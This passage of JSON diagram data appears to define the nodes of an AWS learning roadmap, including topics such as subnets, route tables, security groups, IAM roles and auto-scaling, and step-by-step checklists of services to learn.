},\n    {\n      \"id\": \"2hFBv2fhKDYBN-9ITs82J\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 518.9622969112341,\n        \"y\": 676.6175288274052\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"CIDR Blocks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6D-gs32jrCyvMVhr9PSAY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 518.9622969112341,\n        \"y\": 676.6175288274052\n      }\n    },\n    {\n      \"id\": \"Y64TE0U20kllmykjdfhHp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 518.6120690194773,\n        \"y\": 729.9677567191619\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Subnets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"6D-gs32jrCyvMVhr9PSAY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 518.6120690194773,\n        \"y\": 729.9677567191619\n      }\n    },\n    {\n      \"id\": \"FCdOnwQubhOnCFFnF8uJN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 518.9622969112341,\n        \"y\": 907.6175288274052\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Route Tables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6D-gs32jrCyvMVhr9PSAY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 518.9622969112341,\n        \"y\": 907.6175288274052\n      }\n    },\n    {\n      \"id\": \"Cd9gdbkCFdrTLrnJMy5F3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 518.9622969112341,\n        \"y\": 960.6175288274052\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Security Groups\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6D-gs32jrCyvMVhr9PSAY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 165,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 518.9622969112341,\n        \"y\": 960.6175288274052\n      }\n    },\n    {\n      \"id\": \"Le8yOJzpzxH1xgd7XEU2B\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 518.9622969112341,\n        \"y\": 1013.6175288274053\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Internet Gateway\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6D-gs32jrCyvMVhr9PSAY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 518.9622969112341,\n        \"y\": 1013.6175288274053\n      }\n    },\n    {\n      \"id\": \"6D-gs32jrCyvMVhr9PSAY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 518.9622969112341,\n        \"y\": 1066.6175288274053\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"NAT Gateway\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 518.9622969112341,\n        \"y\": 1066.6175288274053\n      }\n    },\n    {\n      \"id\": \"ymuURDwW8JG3NSIXcl0FL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 526.6120690194773,\n        \"y\": 787.3890876226947\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Private Subnet\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ABCH1rATHmecyWHyK3n-m\"\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 50\n      },\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 526.6120690194773,\n        \"y\": 787.3890876226947\n      }\n    },\n    {\n      \"id\": \"ABCH1rATHmecyWHyK3n-m\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 526.6120690194773,\n        \"y\": 841.3890876226947\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Public Subnet\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 526.6120690194773,\n        \"y\": 841.3890876226947\n      }\n    },\n    {\n      \"id\": \"xmKeB4hEi2DunmhAsvS1X\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 742.2236494728579,\n        \"y\": 1167.3249189781727\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"IAM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"741vsAPTXJLVUlazFg0q4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 74,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 742.2236494728579,\n        \"y\": 1167.3249189781727\n      }\n    },\n    {\n      \"id\": \"eQAn3e-k9WNufPqOnwY_K\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 471.89268806472296,\n        \"y\": 1167.3249189781727\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Policies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7nI202hX41mI5ms9LZonh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 212\n      },\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 471.89268806472296,\n        \"y\": 1167.3249189781727\n      }\n    },\n    {\n      \"id\": \"Nn2zawk6A31NwZa40jOhX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 471.89268806472296,\n        \"y\": 1220.4028332918836\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Users / User Groups\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7nI202hX41mI5ms9LZonh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 212\n      },\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 471.89268806472296,\n        \"y\": 1220.4028332918836\n      }\n    },\n    {\n      \"id\": \"7nI202hX41mI5ms9LZonh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 471.89268806472296,\n        \"y\": 1273.4028332918836\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Roles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 212\n      },\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 471.89268806472296,\n        \"y\": 1273.4028332918836\n      }\n    },\n    {\n      \"id\": \"cwGuOrmbSTcSoH80skLTk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 220.06968076088629,\n        \"y\": 1111.9730502489776\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Identity-based\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v_YmmlOk-DkzJ8mI5Ftgr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 220.06968076088629,\n        \"y\": 1111.9730502489776\n      }\n    },\n    {\n      \"id\": \"v_YmmlOk-DkzJ8mI5Ftgr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 220.06968076088629,\n        \"y\": 1167.4028332918836\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Resource-based\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 220.06968076088629,\n        \"y\": 1167.4028332918836\n      }\n    },\n    {\n      \"id\": \"i7X1GfOx5AZYFskepW4Zr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 222.53639862852782,\n        \"y\": 1275.380133193896\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Instance Profiles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0IMdO7g_5El1elvDXJJ_0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 179\n      },\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 222.53639862852782,\n        \"y\": 1275.380133193896\n      }\n    },\n    {\n      \"id\": \"0IMdO7g_5El1elvDXJJ_0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 222.53639862852782,\n        \"y\": 1328.380133193896\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Assuming Roles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 179\n      },\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 222.53639862852782,\n        \"y\": 1328.380133193896\n      }\n    },\n    {\n      \"id\": \"qHdk1Kylv7L0BxRVg7tz7\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -191.93031923911371,\n        \"y\": -2.011754925964624\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"AWS has lots of services. You don't need to master all of them. This roadmap only covers an opinionated list of services to help you get started.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 1122,\n      \"height\": 61,\n      \"measured\": {\n        \"width\": 337,\n        \"height\": 1053\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -191.93031923911371,\n        \"y\": -2.011754925964624\n      }\n    },\n    {\n      \"id\": \"Q6Dt9gq5xo40HNFzbP8LS\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -166.50132736090086,\n        \"y\": 138.75601320780885\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Step 1 - Essentials\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#0400ff\"\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"C0ngVzsV5v-wrFbSzAhuu\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 156,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -166.50132736090086,\n        \"y\": 138.75601320780885\n      }\n    },\n    {\n      \"id\": \"9vu33RXjGoH98FVmqTndp\",\n      \"type\": \"checklist\",\n      \"position\": {\n        \"x\": -180.93031923911371,\n        \"y\": 174.90074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"checklists\": [\n          {\n            \"id\": \"Xp89QYw979KuVA0ebx5rw\",\n            \"label\": \"IAM - Access Control\"\n          },\n          {\n            \"id\": \"77IypvJZKocauouUW0Te8\",\n            \"label\": \"VPC - Network Layer\"\n          },\n          {\n            \"id\": \"IYmKI0P0nnrqqq0dpzWec\",\n            \"label\": \"EC2 - Compute\"\n          }\n        ],\n        \"oldId\": \"y8CCvjrJr4Uo0Nc3tlAbG\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 120\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 260,\n      \"height\": 120,\n      \"positionAbsolute\": {\n        \"x\": -180.93031923911371,\n        \"y\": 174.90074822234897\n      }\n    },\n    {\n      \"id\": \"B3PQqrz9ta9yghKO1TXiT\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -166.50132736090086,\n        \"y\": 309.90074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Step 2 - Learn these next\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#0400ff\"\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"C0ngVzsV5v-wrFbSzAhuu\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 210,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -166.50132736090086,\n        \"y\": 309.90074822234897\n      }\n    },\n    {\n      \"id\": \"ONTEcBOHsEZn5RV3ulSzo\",\n      \"type\": \"checklist\",\n      \"position\": {\n        \"x\": -180.93031923911371,\n        \"y\": 342.90074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"checklists\": [\n          {\n            \"id\": \"2iPr8PRgzEMJ5B5LS_Znj\",\n            \"label\": \"S3 - Storage\"\n          },\n          {\n            \"id\": \"uFrNE6nF7BI1dhx1XFkkJ\",\n            \"label\": \"SES - Emails\"\n          },\n          {\n            \"id\": \"0DWiRoKPlBF5ZTMvRKslF\",\n            \"label\": \"Route53 - DNS\"\n          },\n          {\n            \"id\": \"CQnBhwDHjf1WKq9mwh8um\",\n            \"label\": \"Cloudwatch - Monitoring\"\n          },\n          {\n            \"id\": \"Tlp2bOoimN1R1kbHxh6pN\",\n            \"label\": \"Cloudfront - CDN\"\n          }\n        ],\n        \"oldId\": \"y8CCvjrJr4Uo0Nc3tlAbG\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 184\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 260,\n      \"height\": 184,\n      \"positionAbsolute\": {\n        \"x\": -180.93031923911371,\n        \"y\": 342.90074822234897\n      }\n    },\n    {\n      \"id\": \"qk08dKs3kwl-chTMJif49\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -166.50132736090086,\n        \"y\": 540.5\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Step 3 - Pick these after\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#0400ff\"\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"C0ngVzsV5v-wrFbSzAhuu\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 202,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -166.50132736090086,\n        \"y\": 540.5\n      }\n    },\n    {\n      \"id\": \"T0xEJk3s05nFqd0EWz6go\",\n      \"type\": \"checklist\",\n      \"position\": {\n        \"x\": -180.93031923911371,\n        \"y\": 568.5\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"checklists\": [\n          {\n            \"id\": \"3w33QM-w0Z6-lFr7fxJGV\",\n            \"label\": \"RDS - Managed Database\"\n          },\n          {\n            \"id\": \"6CxAvxd_8QwAI_pj2-hB3\",\n            \"label\": \"DynamoDB - NoSQL Storage\"\n          },\n          {\n            \"id\": \"NoNhv6OnOEmKFaG_LmEzk\",\n            \"label\": \"ElastiCache - Redis/Memcached\"\n          },\n          {\n            \"id\": \"I-6mUyDuSeDFGXZMI-ol8\",\n            \"label\": \"ECS - Containers\"\n          },\n          {\n            \"id\": \"ZtNB9pyJiMl977ZoqNqNC\",\n            \"label\": \"EKS - Kubernetes\"\n          }\n        ],\n        \"oldId\": \"y8CCvjrJr4Uo0Nc3tlAbG\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 317,\n        \"height\": 184\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 318,\n      \"height\": 184,\n      \"positionAbsolute\": {\n        \"x\": -180.93031923911371,\n        \"y\": 568.5\n      }\n    },\n    {\n      \"id\": \"C0ngVzsV5v-wrFbSzAhuu\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -166.50132736090086,\n        \"y\": 763.7998441919806\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Step 4 - Serverless\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#0400ff\"\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 162,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -166.50132736090086,\n        \"y\": 763.7998441919806\n      }\n    },\n    {\n      \"id\": \"y8CCvjrJr4Uo0Nc3tlAbG\",\n      \"type\": \"checklist\",\n      \"position\": {\n        \"x\": -180.93031923911371,\n        \"y\": 799.6175288274053\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"checklists\": [\n          {\n            \"id\": \"CDlGaVHqDZUsJ8SCqKM6l\",\n            \"label\": \"Lambda\"\n          },\n          {\n            \"id\": \"4yFM2n4L7YPbxS5ByY92s\",\n            \"label\": \"ECS Fargate\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 88\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 260,\n      \"height\": 88,\n      \"positionAbsolute\": {\n        \"x\": -180.93031923911371,\n        \"y\": 799.6175288274053\n      }\n    },\n    {\n      \"id\": \"AzAPrzmLAhYBRUkQyWYas\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -172.43031923911371,\n        \"y\": 901.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#000000\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 300,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -172.43031923911371,\n        \"y\": 901.400748222349\n      }\n    },\n    {\n      \"id\": \"gNgs068FdLRcob7u28yOe\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -176.46360137147218,\n        \"y\": 924.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Best way to learn? Make a simple app and use the services listed above for deployment.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 708,\n      \"height\": 61,\n      \"measured\": {\n        \"width\": 305,\n        \"height\": 101\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -176.46360137147218,\n        \"y\": 924.900748222349\n      }\n    },\n    {\n      \"id\": \"dOAZG-NbjWiVdPKYEhWxj\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 742.2236494728579,\n        \"y\": 1507.8060080163193\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Auto-Scaling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"741vsAPTXJLVUlazFg0q4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 742.2236494728579,\n        \"y\": 1507.8060080163193\n      }\n    },\n    {\n      \"id\": \"AfagmWcllSi81D2XIQz0V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 636.2236494728579,\n        \"y\": 1595.150459128501\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"AMIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 636.2236494728579,\n        \"y\": 1595.150459128501\n      }\n    },\n    {\n      \"id\": \"K0GCk5_HDvP0_ZqsUc3tG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 636.2236494728579,\n        \"y\": 1648.150459128501\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Launch Templates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 636.2236494728579,\n        \"y\": 1648.150459128501\n      }\n    },\n    {\n      \"id\": \"gBKHVG7FvlCEgINKmw00s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 636.2236494728579,\n        \"y\": 1701.150459128501\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Auto-Scaling Groups\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 636.2236494728579,\n        \"y\": 1701.150459128501\n      }\n    },\n    {\n      \"id\": \"fRBaiw8Qx8kapzCphmM4v\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 636.2236494728579,\n        \"y\": 1754.150459128501\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Scaling Policies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 636.2236494728579,\n        \"y\": 1754.150459128501\n      }\n    },\n    {\n      \"id\": \"YAZPKMbmrxYNqF6alXMyL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 636.2236494728579,\n        \"y\": 1807.150459128501\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Elastic Load Balancers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 636.2236494728579,\n        \"y\": 